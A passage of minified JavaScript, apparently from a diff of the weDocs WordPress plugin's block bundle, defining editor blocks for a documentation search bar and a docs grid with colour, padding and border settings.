n=1/0;for(c=0;c=r)&&Object.keys(l.O).every((e=>l.O[e](o[d])))?o.splice(d--,1):(i=!1,r0&&e[c-1][2]>r;c--)e[c]=e[c-1];e[c]=[o,a,r]},l.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{var e={366:0,337:0};l.O.j=t=>0===e[t];var t=(t,o)=>{var a,r,n=o[0],i=o[1],d=o[2],s=0;if(n.some((t=>0!==e[t]))){for(a in i)l.o(i,a)&&(l.m[a]=i[a]);if(d)var c=d(l)}for(t&&t(o);sl(445)));a=l.O(a)})(); \ No newline at end of file +(()=>{"use strict";var e,t={418:(e,t,o)=>{var l=o(609),a=Symbol.for("react.element"),n=(Symbol.for("react.fragment"),Object.prototype.hasOwnProperty),r=l.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,c={key:!0,ref:!0,__self:!0,__source:!0};t.jsx=function(e,t,o){var l,i={},s=null,d=null;for(l in void 0!==o&&(s=""+o),void 0!==t.key&&(s=""+t.key),void 0!==t.ref&&(d=t.ref),t)n.call(t,l)&&!c.hasOwnProperty(l)&&(i[l]=t[l]);if(e&&e.defaultProps)for(l in t=e.defaultProps)void 0===i[l]&&(i[l]=t[l]);return{$$typeof:a,type:e,key:s,ref:d,props:i,_owner:r.current}}},706:(e,t,o)=>{e.exports=o(418)},642:(e,t,o)=>{var l=o(609);const a=window.wp.blocks,n=window.wp.i18n,r=window.wp.primitives;var c=o(706);const i=(0,c.jsx)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,c.jsx)(r.Path,{d:"M12 8c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4zm0 6.5c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5zM12.8 3h-1.5v3h1.5V3zm-1.6 18h1.5v-3h-1.5v3zm6.8-9.8v1.5h3v-1.5h-3zm-12 0H3v1.5h3v-1.5zm9.7 5.6 2.1 2.1 1.1-1.1-2.1-2.1-1.1 1.1zM8.3 7.2 6.2 5.1 5.1 6.2l2.1 2.1 1.1-1.1zM5.1 17.8l1.1 1.1 2.1-2.1-1.1-1.1-2.1 2.1zM18.9 6.2l-1.1-1.1-2.1 2.1 1.1 1.1 2.1-2.1z"})}),s=(0,c.jsx)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,c.jsx)(r.Path,{fillRule:"evenodd",d:"M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",clipRule:"evenodd"})}),d=window.wp.element,u=window.wp.blockEditor,g=window.wp.components,m=({label:e,value:t,unit:o,onValueChange:a,onUnitChange:r})=>(0,l.createElement)(g.Flex,null,(0,l.createElement)(g.FlexBlock,null,(0,l.createElement)(g.TextControl,{label:e,value:parseInt(t),onChange:e=>a(e)})),(0,l.createElement)(g.FlexItem,null,(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Unit","wedocs"),value:o,options:[{label:"px",value:"px"},{label:"%",value:"%"}],onChange:e=>r(e)}))),h=({selected:e,options:t,onChange:o})=>(0,l.createElement)(g.BaseControl,null,(0,l.createElement)("div",{className:"radio-image-control-options"},t.map((t=>(0,l.createElement)("div",{key:t.value,className:"radio-image-option"},(0,l.createElement)("input",{type:"radio",id:`radio-image-${t.value}`,value:t.value,checked:e===t.value,onChange:e=>o(e.target.value)}),(0,l.createElement)("label",{htmlFor:`radio-image-${t.value}`},t.icon&&(0,l.createElement)("i",{className:`dashicons ${t.icon}`}),t.img&&(0,l.createElement)("img",{src:t.img,alt:t.label}),t?.svg)))))),_={hideSearch:{type:"boolean",default:!1},searchWidth:{type:"number",default:50},widthUnit:{type:"string",default:"%"},placeholder:{type:"string",default:(0,n.__)("Search for a top or question","wedocs")},alignment:{type:"string",default:"right"},bgColor:{type:"string",default:"#FFFFFF"},hoverColor:{type:"string",default:"#FFFFFF"},padding:{type:"object",default:{top:14,left:22,right:22,bottom:14}},margin:{type:"object",default:{top:0,left:0,right:0,bottom:0}},borderColor:{type:"string",default:"#cccccc"},borderType:{type:"string",default:"solid"},borderWidth:{type:"number",default:1},borderRadius:{type:"number",default:30},iconColor:{type:"string",default:"#FFFFFF"},iconBgColor:{type:"string",default:"#3b82f6"},iconHoverColor:{type:"string",default:"#2563eb"},svgHoverColor:{type:"string",default:"#FFFFFF"},btnPadding:{type:"object",default:{top:24,left:26,right:26,bottom:24}},btnPosition:{type:"object",default:{top:0,right:0,bottom:10}},btnRadius:{type:"number",default:30}};(0,a.registerBlockType)("wedocs/wedocs-search",{attributes:_,save:({attributes:e})=>{const{margin:t,bgColor:o,padding:a,btnRadius:n,alignment:r,iconColor:c,widthUnit:i,hoverColor:s,borderType:g,hideSearch:m,btnPadding:h,searchWidth:_,btnPosition:p,placeholder:b,borderColor:C,borderWidth:v,iconBgColor:w,borderRadius:f,svgHoverColor:x,iconHoverColor:E}=e;if(m)return;const B={display:"flex",justifyContent:r},y={border:`${v}px ${g} ${C}`,paddingTop:a?.top,paddingLeft:a?.left,paddingRight:a?.right,borderRadius:`${f}px`,paddingBottom:a?.bottom,"--field-color":o,"--field-bg-color":s},S={top:p?.top,left:p?.left,right:p?.right,bottom:p?.bottom,height:"auto",paddingTop:h?.top,paddingLeft:h?.left,borderRadius:n,paddingRight:h?.right,paddingBottom:h?.bottom,"--field-icon-color":c,"--field-btn-bg-color":w,"--field-icon-hover-color":x,"--field-btn-bg-hover-color":E};return(0,l.createElement)(d.Fragment,null,(0,l.createElement)("form",{method:"get",role:"search",action:weDocsBlockVars?.siteUrl,...u.useBlockProps.save({className:"search-form wedocs-search-form"})},(0,l.createElement)("div",{style:B},(0,l.createElement)("div",{className:"wedocs-search-input",style:{width:_+i,marginTop:t?.top,marginLeft:t?.left,marginRight:t?.right,marginBottom:t?.bottom}},(0,l.createElement)("input",{name:"s",type:"search",style:y,className:"search-field",placeholder:b}),(0,l.createElement)("input",{type:"hidden",name:"post_type",value:"docs"}),(0,l.createElement)("button",{type:"submit",style:S,className:"search-submit"},(0,l.createElement)("svg",{width:"15",height:"16",fill:"none"},(0,l.createElement)("path",{fillRule:"evenodd",d:"M11.856 10.847l2.883 2.883a.89.89 0 0 1 0 1.257c-.173.174-.401.261-.629.261s-.455-.087-.629-.261l-2.883-2.883c-1.144.874-2.532 1.353-3.996 1.353a6.56 6.56 0 0 1-4.671-1.935c-2.576-2.575-2.576-6.765 0-9.341C3.179.934 4.839.247 6.603.247s3.424.687 4.671 1.935a6.56 6.56 0 0 1 1.935 4.67 6.55 6.55 0 0 1-1.353 3.995zM3.189 3.439c-1.882 1.882-1.882 4.945 0 6.827.912.912 2.124 1.414 3.414 1.414s2.502-.502 3.414-1.414 1.414-2.124 1.414-3.413-.502-2.502-1.414-3.413-2.124-1.414-3.414-1.414-2.502.502-3.414 1.414z"})))))))},edit:({attributes:e,setAttributes:t})=>{const o=(0,u.useBlockProps)(),{margin:a,bgColor:r,padding:c,btnRadius:_,alignment:p,iconColor:b,widthUnit:C,hoverColor:v,borderType:w,hideSearch:f,btnPadding:x,searchWidth:E,btnPosition:B,placeholder:y,borderColor:S,borderWidth:T,iconBgColor:k,borderRadius:P,svgHoverColor:F,iconHoverColor:R}=e;console.log("editor panel:",r);const H=[{value:"left",label:(0,n.__)("Align left","wedocs"),svg:(0,l.createElement)("svg",{width:"24",height:"25",fill:"none",strokeWidth:"2",strokeLinecap:"round",stroke:"left"===p?"#007cba":"#939494",strokeLinejoin:"round"},(0,l.createElement)("path",{d:"M8 9.462h12m-12 6h6m-10-9v12"}))},{value:"center",label:(0,n.__)("Align center","wedocs"),svg:(0,l.createElement)("svg",{width:"24",height:"25",fill:"none",strokeWidth:"2",strokeLinecap:"round",stroke:"center"===p?"#007cba":"#939494",strokeLinejoin:"round"},(0,l.createElement)("path",{d:"M18 9.462H6m8.99 6h-6"}),(0,l.createElement)("path",{d:"M12 6.462v12"}))},{value:"right",label:(0,n.__)("Align right","wedocs"),svg:(0,l.createElement)("svg",{width:"24",height:"25",fill:"none",strokeWidth:"2",strokeLinecap:"round",stroke:"right"===p?"#007cba":"#939494",strokeLinejoin:"round"},(0,l.createElement)("path",{d:"M16 9.462H4m12 6h-6m10-9v12"}))}],[$,N]=(0,d.useState)(!1),[M,A]=(0,d.useState)(!1),[O,D]=(0,d.useState)(!1),L={display:"flex",justifyContent:p},W={border:`${T}px ${w} ${S}`,paddingTop:c?.top,background:$?v:r,paddingLeft:c?.left,paddingRight:c?.right,borderRadius:`${P}px`,paddingBottom:c?.bottom},I={top:B?.top,left:B?.left,right:B?.right,bottom:B?.bottom,height:"auto",background:O?R:k,paddingTop:x?.top,paddingLeft:x?.left,borderRadius:_,paddingRight:x?.right,paddingBottom:x?.bottom},V=[{label:(0,n.__)("Solid","wedocs"),value:"solid"},{label:(0,n.__)("Dotted","wedocs"),value:"dotted"},{label:(0,n.__)("Dashed","wedocs"),value:"dashed"},{label:(0,n.__)("Double","wedocs"),value:"double"},{label:(0,n.__)("Groove","wedocs"),value:"groove"},{label:(0,n.__)("Ridge","wedocs"),value:"ridge"},{label:(0,n.__)("Inset","wedocs"),value:"inset"},{label:(0,n.__)("Outset","wedocs"),value:"outset"},{label:(0,n.__)("None","wedocs"),value:"none"},{label:(0,n.__)("Hidden","wedocs"),value:"hidden"}];return(0,l.createElement)(d.Fragment,null,(0,l.createElement)(u.InspectorControls,null,(0,l.createElement)(g.PanelBody,null,(0,l.createElement)(g.ToggleControl,{checked:f,className:"wedocs-search-toggle",label:(0,n.__)("Disable Block","wedocs"),onChange:e=>t({hideSearch:e})})),!f&&(0,l.createElement)(d.Fragment,null,(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Color Settings","wedocs"),icon:i,initialOpen:!1,className:"wedocs-search-color-settings"},(0,l.createElement)(u.PanelColorSettings,{colors:[{name:"Sweet",color:"#F43F5E"},{name:"Orange",color:"#F97316"},{name:"Yellow",color:"#FACC15"},{name:"Purple",color:"#8B5CF6"},{name:"Light Blue",color:"#3B82F6"},{name:"Light Green",color:"#10B981"}],colorSettings:[{value:r,label:(0,n.__)("Field Background Color","wedocs"),onChange:e=>t({bgColor:e})},{value:v,label:(0,n.__)("Field Hover Color","wedocs"),onChange:e=>t({hoverColor:e})},{value:S,label:(0,n.__)("Border Color","wedocs"),onChange:e=>t({borderColor:e})},{value:b,label:(0,n.__)("Icon Color","wedocs"),onChange:e=>t({iconColor:e})},{value:k,label:(0,n.__)("Button Color","wedocs"),onChange:e=>t({iconBgColor:e})},{value:R,label:(0,n.__)("Button Hover Color","wedocs"),onChange:e=>t({iconHoverColor:e})},{value:F,label:(0,n.__)("Icon Hover Color","wedocs"),onChange:e=>t({svgHoverColor:e})}]})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Search Bar Settings","wedocs"),icon:s},(0,l.createElement)(m,{unit:C,value:E,label:(0,n.__)("Field Width","wedocs"),onUnitChange:e=>t({widthUnit:e}),onValueChange:e=>t({searchWidth:e?parseInt(e):0})}),(0,l.createElement)(g.TextControl,{value:y,label:(0,n.__)("Placeholder","wedocs"),placeholder:(0,n.__)("Search bar placeholder","wedocs"),onChange:e=>t({placeholder:e})}),(0,l.createElement)("p",{style:{fontSize:11}},(0,n.__)("POSITION","wedocs")),(0,l.createElement)(h,{selected:p,options:H,onChange:e=>t({alignment:e})}),(0,l.createElement)(g.__experimentalBoxControl,{resetValues:{top:"14px",left:"22px",right:"22px",bottom:"14px"},values:c,label:(0,n.__)("Field Padding","wedocs"),onChange:e=>t({padding:e})}),(0,l.createElement)(g.__experimentalBoxControl,{resetValues:{top:"0px",left:"0px",right:"0px",bottom:"0px"},values:a,label:(0,n.__)("Field Margin","wedocs"),onChange:e=>t({margin:e})}),(0,l.createElement)(g.RangeControl,{min:0,max:10,value:T,label:(0,n.__)("Border Width","wedocs"),onChange:e=>t({borderWidth:e})}),(0,l.createElement)(g.RangeControl,{min:0,max:100,value:P,label:(0,n.__)("Border Radius","wedocs"),onChange:e=>t({borderRadius:e})}),(0,l.createElement)(g.SelectControl,{value:w,options:V,label:(0,n.__)("Border Type","wedocs"),onChange:e=>t({borderType:e})}),(0,l.createElement)(g.__experimentalBoxControl,{resetValues:{top:"24px",left:"26px",right:"26px",bottom:"24px"},values:x,label:(0,n.__)("Button Padding","wedocs"),onChange:e=>t({btnPadding:e})}),(0,l.createElement)(g.__experimentalBoxControl,{resetValues:{top:"0px",right:"0px",bottom:"10px"},values:B,label:(0,n.__)("Button Margin","wedocs"),onChange:e=>t({btnPosition:e})}),(0,l.createElement)(g.RangeControl,{min:0,max:100,value:_,label:(0,n.__)("Button Radius","wedocs"),onChange:e=>t({btnRadius:e})})))),(0,l.createElement)("div",{...o,style:L},(0,l.createElement)("div",{className:"wedocs-editor-search-input",style:{width:E+C,marginTop:a?.top,marginLeft:a?.left,marginRight:a?.right,marginBottom:a?.bottom}},(0,l.createElement)("input",{readOnly:!0,style:W,className:"search-field",placeholder:y,onMouseEnter:()=>N(!0),onMouseLeave:()=>N(!1)}),(0,l.createElement)("input",{type:"hidden",name:"post_type",value:"docs"}),(0,l.createElement)("button",{type:"submit",style:I,className:"search-submit",onMouseEnter:()=>D(!0),onMouseLeave:()=>D(!1)},(0,l.createElement)("svg",{width:"15",height:"16",fill:"none",onMouseEnter:()=>A(!0),onMouseLeave:()=>A(!1)},(0,l.createElement)("path",{fill:M?F:b,fillRule:"evenodd",d:"M11.856 10.847l2.883 2.883a.89.89 0 0 1 0 1.257c-.173.174-.401.261-.629.261s-.455-.087-.629-.261l-2.883-2.883c-1.144.874-2.532 1.353-3.996 1.353a6.56 6.56 0 0 1-4.671-1.935c-2.576-2.575-2.576-6.765 0-9.341C3.179.934 4.839.247 6.603.247s3.424.687 4.671 1.935a6.56 6.56 0 0 1 1.935 4.67 6.55 6.55 0 0 1-1.353 3.995zM3.189 3.439c-1.882 1.882-1.882 4.945 0 6.827.912.912 2.124 1.414 3.414 1.414s2.502-.502 3.414-1.414 1.414-2.124 1.414-3.413-.502-2.502-1.414-3.413-2.124-1.414-3.414-1.414-2.502.502-3.414 1.414z"})))),f&&(0,l.createElement)("div",{className:"backdrop"})))},icon:(0,l.createElement)("svg",{width:"20",height:"20",viewBox:"0 0 20 20",fill:"none"},(0,l.createElement)("path",{fillRule:"evenodd",clipRule:"evenodd",d:"M8.91421 1.5H5.5C4.39543 1.5 3.5 2.39543 3.5 3.5V6.91421V9.02779V15.5C3.5 16.6046 4.39543 17.5 5.5 17.5H7.02779C6.07771 16.4385 5.5 15.0367 5.5 13.5C5.5 10.1863 8.18629 7.5 11.5 7.5C13.0367 7.5 14.4385 8.07771 15.5 9.02779V8.5V6.91421C15.5 6.38378 15.2893 5.87507 14.9142 5.5L11.5 2.08579C11.1249 1.71071 10.6162 1.5 10.0858 1.5H8.91421ZM15.5 13.5C15.5 11.2909 13.7091 9.5 11.5 9.5C9.29086 9.5 7.5 11.2909 7.5 13.5C7.5 15.7091 9.29086 17.5 11.5 17.5C12.2414 17.5 12.9364 17.2977 13.5318 16.946L14.7929 18.2071C15.1834 18.5976 15.8166 18.5976 16.2071 18.2071C16.5976 17.8166 16.5976 17.1834 16.2071 16.7929L14.946 15.5318C15.2977 14.9364 15.5 14.2414 15.5 13.5ZM11.5 11.5C12.6046 11.5 13.5 12.3954 13.5 13.5C13.5 14.0526 13.2772 14.5512 12.9142 14.9142C12.5512 15.2772 12.0526 15.5 11.5 15.5C10.3954 15.5 9.5 14.6046 9.5 13.5C9.5 12.3954 10.3954 11.5 11.5 11.5Z",fill:"#111827"})),title:(0,n.__)("weDocs - Searchbar","wedocs"),keywords:["Search","weDocs search bar","Bar"],category:"widgets",description:(0,n.__)("Simple search forms for easy user guidance for your documentation","wedocs")});const p=({attributes:e,setAttributes:t})=>{const o=e=>o=>{t({[e]:o})},a=((0,n.__)("Solid","wedocs"),(0,n.__)("Dashed","wedocs"),(0,n.__)("Dotted","wedocs"),(0,n.__)("None","wedocs"),[{name:"Sweet",color:"#F43F5E"},{name:"Orange",color:"#F97316"},{name:"Yellow",color:"#FACC15"},{name:"Purple",color:"#8B5CF6"},{name:"Light Blue",color:"#3B82F6"},{name:"Light Green",color:"#10B981"}]);return(0,l.createElement)(l.Fragment,null,(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Grid Styles","wedocs"),icon:"admin-appearance",initialOpen:!1},(0,l.createElement)("label",null,(0,n.__)("Colors","wedocs")),(0,l.createElement)(u.PanelColorSettings,{colors:a,colorSettings:[{value:e.docTitleColor,label:(0,n.__)("Doc Title Color","wedocs"),onChange:e=>o("docTitleColor")(e)},{value:e.docChildrenActiveColor,label:(0,n.__)("Doc Children Active Color","wedocs"),onChange:e=>o("docChildrenActiveColor")(e)},{value:e.borderColor,label:(0,n.__)("Border Color","wedocs"),onChange:e=>o("borderColor")(e)}]}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Grid Padding","wedocs"),values:e.gridPadding,onChange:o("gridPadding")}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Grid Margin","wedocs"),values:e.gridMargin,onChange:o("gridMargin")}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Border Type","wedocs"),value:e.borderType,options:[{label:(0,n.__)("Solid","wedocs"),value:"solid"},{label:(0,n.__)("Dashed","wedocs"),value:"dashed"},{label:(0,n.__)("Dotted","wedocs"),value:"dotted"},{label:(0,n.__)("None","wedocs"),value:"none"}],onChange:e=>t({borderType:e})}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Border Width","wedocs"),value:e.borderWidth,options:[{label:"0px",value:"0px"},{label:"1px",value:"1px"},{label:"2px",value:"2px"},{label:"3px",value:"3px"},{label:"4px",value:"4px"},{label:"5px",value:"5px"}],onChange:e=>t({borderWidth:e})}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Border Radius","wedocs"),value:e.borderRadius,options:[{label:"0px",value:"0px"},{label:"4px",value:"4px"},{label:"8px",value:"8px"},{label:"12px",value:"12px"},{label:"16px",value:"16px"},{label:"20px",value:"20px"}],onChange:e=>t({borderRadius:e})})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Button Styles","wedocs"),icon:"admin-appearance",initialOpen:!1},(0,l.createElement)("label",null,(0,n.__)("Button Colors","wedocs")),(0,l.createElement)(u.PanelColorSettings,{colors:a,colorSettings:[{value:e.buttonColor,label:(0,n.__)("Button Color","wedocs"),onChange:e=>o("buttonColor")(e)},{value:e.buttonHoverColor,label:(0,n.__)("Button Hover Color","wedocs"),onChange:e=>o("buttonHoverColor")(e)},{value:e.buttonTextColor,label:(0,n.__)("Button Text Color","wedocs"),onChange:e=>o("buttonTextColor")(e)},{value:e.buttonHoverTextColor,label:(0,n.__)("Button Hover Text Color","wedocs"),onChange:e=>o("buttonHoverTextColor")(e)}]}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Button Padding","wedocs"),values:e.buttonPadding,onChange:o("buttonPadding")}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Button Margin","wedocs"),values:e.buttonMargin,onChange:o("buttonMargin")}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Button Border Radius","wedocs"),value:e.buttonBorderRadius,options:[{label:"0px",value:"0px"},{label:"4px",value:"4px"},{label:"8px",value:"8px"},{label:"12px",value:"12px"},{label:"16px",value:"16px"},{label:"20px",value:"20px"}],onChange:e=>t({buttonBorderRadius:e})}),(0,l.createElement)("div",{className:"wedocs-color-control"},(0,l.createElement)("label",null,(0,n.__)("Button Text","wedocs")),(0,l.createElement)(g.TextControl,{value:e.buttonText,onChange:o("buttonText")}))))},b=JSON.parse('{"UU":"wedocs/wedocs-docs-grid"}');(0,a.registerBlockType)(b.UU,{edit:({attributes:e,setAttributes:t})=>{const o=(0,u.useBlockProps)(),{useSelect:a}=wp.data,[r,c]=(0,d.useState)(1),[i,m]=(0,d.useState)(!1),{hideDocGrid:h,docStyle:_,docsPerPage:b,excludeDocs:C,order:v,orderBy:w,sectionsPerDoc:f,articlesPerSection:x,showDocArticle:E,keepArticlesCollapsed:B,showViewDetails:y,gridPadding:S,gridMargin:T,docTitleColor:k,docChildrenActiveColor:P,borderType:F,borderRadius:R,borderWidth:H,borderColor:$,buttonBorderRadius:N,buttonPadding:M,buttonMargin:A,buttonColor:O,buttonHoverColor:D,buttonTextColor:L,buttonText:W,buttonHoverTextColor:I}=e,V=[{label:"All",value:"all"},...Array.from({length:10},((e,t)=>({label:String(t+1),value:String(t+1)})))],j=[{label:(0,n.__)("weDocs Order","wedocs"),value:"menu_order"},{label:(0,n.__)("ID","wedocs"),value:"id"},{label:(0,n.__)("Name","wedocs"),value:"title"}],z=[{label:(0,n.__)("Ascending","wedocs"),value:"asc"},{label:(0,n.__)("Descending","wedocs"),value:"desc"}],U=[{label:"All",value:"all"},...Array.from({length:10},((e,t)=>({label:String(t+1),value:String(t+1)})))],{pages:G,sections:Y,articles:Z}=a((e=>{const{getEntityRecords:t}=e("core"),o=t("postType","docs",{status:"publish",per_page:-1,parent:0,orderby:w,order:v}),l=o?t("postType","docs",{status:"publish",parent_in:o.map((e=>e.id)),per_page:-1}):null,a=l?t("postType","docs",{status:"publish",parent_in:l.map((e=>e.id)),per_page:-1}):null;return{pages:o,sections:l,articles:a}}),[w,v]),q=(e=>{if("all"===b)return e;const t=parseInt(b),o=(r-1)*t,l=o+t;return e.slice(o,l)})((()=>{if(!G||!Y||!Z)return[];let e=[...G];return C&&C.length>0&&(e=e.filter((e=>!C.includes(e.id.toString())))),e=e.map((e=>{let t=Y.filter((t=>t.parent===e.id));"all"!==f&&(t=t.slice(0,parseInt(f))),t=t.map((e=>{let t=Z.filter((t=>t.parent===e.id));return"all"!==x&&(t=t.slice(0,parseInt(x))),{...e,articles:t}}));const o=t.reduce(((e,t)=>e+t.articles.length),0);return{...e,sections:t,articleCount:o}})),e})()),Q=G?G.reduce(((e,t)=>(e[t.id]=t.title.rendered,e)),{}):{},J=(G&&G.map((e=>({value:e.id.toString(),label:e.title.rendered}))),e=>o=>{t({[e]:o})}),K=C?C.map((e=>Q[e]||e)):[];return(0,l.createElement)(d.Fragment,null,(0,l.createElement)(u.InspectorControls,null,(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Doc Grid Settings","wedocs"),icon:s,initialOpen:!1},(0,l.createElement)(g.SelectControl,{value:_,options:[{label:"1x1",value:"1x1"},{label:"1x2",value:"1x2"}],label:(0,n.__)("DOCS GRID COLUMN STYLE","wedocs"),onChange:J("docStyle")}),(0,l.createElement)(g.SelectControl,{value:b,options:V,label:(0,n.__)("Docs per page","wedocs"),onChange:J("docsPerPage")}),(0,l.createElement)(g.FormTokenField,{value:K,suggestions:Object.values(Q),label:(0,n.__)("Exclude Docs","wedocs"),onChange:e=>{const o=e.map((e=>{const t=Object.entries(Q).find((([t,o])=>o===e));return t?t[0]:e}));t({excludeDocs:o})}}),(0,l.createElement)(g.SelectControl,{value:v,options:z,label:(0,n.__)("Order","wedocs"),onChange:J("order")}),(0,l.createElement)(g.SelectControl,{value:w,options:j,label:(0,n.__)("Order by","wedocs"),onChange:J("orderBy")}),(0,l.createElement)(g.SelectControl,{value:f,options:U,label:(0,n.__)("Sections per doc","wedocs"),onChange:J("sectionsPerDoc")}),(0,l.createElement)(g.SelectControl,{value:x,options:U,label:(0,n.__)("Articles per section","wedocs"),onChange:J("articlesPerSection")}),(0,l.createElement)(g.PanelRow,null,(0,l.createElement)(g.ToggleControl,{checked:E,label:(0,n.__)("Show Doc Article","wedocs"),onChange:J("showDocArticle")})),(0,l.createElement)(g.PanelRow,null,(0,l.createElement)(g.ToggleControl,{checked:B,label:(0,n.__)("Keep Article Collapsed","wedocs"),onChange:J("keepArticlesCollapsed")})),(0,l.createElement)(g.PanelRow,null,(0,l.createElement)(g.ToggleControl,{checked:y,label:(0,n.__)("Show View Details Button","wedocs"),onChange:J("showViewDetails")})))),(0,l.createElement)(u.InspectorControls,null,(0,l.createElement)(p,{attributes:e,setAttributes:t})),(0,l.createElement)("div",{...o},h?(0,l.createElement)("div",{className:"backdrop"}):(0,l.createElement)("div",{className:"wedocs-block-wrapper"},(0,l.createElement)("div",{className:`wedocs-docs-grid wedocs-docs-grid--${_}`},i?(0,l.createElement)(Spinner,null):q.map((e=>((e,t)=>(0,l.createElement)("div",{key:e.id,className:"wedocs-docs-grid__item",style:t.item},(0,l.createElement)("h3",{className:"wedocs-docs-grid__title",style:t.title},e.title.rendered),((e,t)=>e.sections?(0,l.createElement)("div",{className:"wedocs-docs-grid__sections "+(B?"is-collapsed":"")},e.sections.map((e=>(0,l.createElement)("div",{key:e.id,className:"wedocs-docs-grid__section"},(0,l.createElement)("h4",{className:"wedocs-docs-grid__section-title",style:{...t.title,display:"flex",justifyContent:"space-between",alignItems:"center"}},(0,l.createElement)("span",null,e.title.rendered),E&&e.articles&&e.articles.length>0&&(0,l.createElement)("svg",{fill:"none",viewBox:"0 0 24 24",width:"16",strokeWidth:"2",stroke:"#acb8c4",className:B?"":"active"},(0,l.createElement)("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"}))),E&&!B&&e.articles&&(0,l.createElement)("ul",{className:"wedocs-docs-grid__articles"},e.articles.map((e=>(0,l.createElement)("li",{key:e.id,className:"wedocs-docs-grid__article",style:t.children},e.title.rendered))))))),0===e.sections.length&&(0,l.createElement)("span",{className:"inside"},(0,l.createElement)("svg",{fill:"none",viewBox:"0 0 24 24","stroke-width":"1.5",stroke:"currentColor"},(0,l.createElement)("path",{"stroke-linecap":"round","stroke-linejoin":"round",d:"M11.25 11.25l.041-.02a.75.75 0 011.063.852l-.708 2.836a.75.75 0 001.063.853l.041-.021M21 12a9 9 0 11-18 0 9 9 0 0118 0zm-9-3.75h.008v.008H12V8.25z"})),(0,n.__)("This document has no sections yet. Check back later or wait for the author to add content.","wedocs"))):null)(e,t),y&&(0,l.createElement)("div",{className:"wedocs-docs-grid__details"},(0,l.createElement)("span",{className:"wedocs-docs-grid__details-link",style:t.button},t.button.text))))(e,(()=>{const e=S?`${S.top} ${S.right} ${S.bottom} ${S.left}`:"",t=T?`${T.top} ${T.right} ${T.bottom} ${T.left}`:"",o=M?`${M.top} ${M.right} ${M.bottom} ${M.left}`:"",l=N||"8px",a=A?`${A.top} ${A.right} ${A.bottom} ${A.left}`:"";return{item:{padding:e,margin:t,borderStyle:F||"solid",borderWidth:H||"1px",borderColor:$||"rgba(0, 0, 0, 0.1)",borderRadius:R||"8px",backgroundColor:"#fff"},title:{color:k||"#1e1e1e"},children:{color:P||"#0073aa"},button:{padding:o,margin:a,backgroundColor:O||"#0073aa",color:L||"#ffffff",text:W||(0,n.__)("View Details","wedocs"),borderRadius:l||"8px","--hover-bg":D||"#005177","--hover-color":I||"#ffffff"}}})())))))))},save:()=>null});const C=(0,c.jsx)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,c.jsx)(r.Path,{d:"m3 12 1 8h1.5l-1-8H3Zm15.8-2h-4.4l.8-3.6c.3-1.3-.7-2.4-1.9-2.4h-.2c-.6 0-1.2.3-1.6.8l-5 6.6c-.3.4-.4.8-.4 1.2v.2l.7 5.4v.2c.2.9 1 1.5 1.9 1.5h8.2c.9 0 1.7-.6 1.9-1.4l1.8-6c.4-1.3-.6-2.6-1.9-2.6Zm.5 2.1-1.8 6c0 .2-.3.4-.5.4H8.8c-.3 0-.5-.2-.5-.4l-.7-5.4v-.4l5-6.6c0-.1.2-.2.4-.2h.2c.3 0 .6.3.5.6l-.8 3.6c-.1.4 0 .9.3 1.3s.7.6 1.2.6h4.4c.3 0 .6.3.5.6Z"})}),v=(0,c.jsx)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,c.jsx)(r.Path,{d:"M19.8 4h-1.5l1 8h1.5l-1-8ZM17 5.8c-.1-1-1-1.8-2-1.8H6.8c-.9 0-1.7.6-1.9 1.4l-1.8 6C2.7 12.7 3.7 14 5 14h4.4l-.8 3.6c-.3 1.3.7 2.4 1.9 2.4h.2c.6 0 1.2-.3 1.6-.8l5-6.6c.3-.4.5-.9.4-1.5L17 5.7Zm-.9 5.9-5 6.6c0 .1-.2.2-.4.2h-.2c-.3 0-.6-.3-.5-.6l.8-3.6c.1-.4 0-.9-.3-1.3s-.7-.6-1.2-.6H4.9c-.3 0-.6-.3-.5-.6l1.8-6c0-.2.3-.4.5-.4h8.2c.3 0 .5.2.5.4l.7 5.4v.4Z"})}),w=JSON.parse('{"UU":"wedocs/helpful-feedback"}');(0,a.registerBlockType)(w.UU,{edit:({attributes:e,setAttributes:t})=>{const 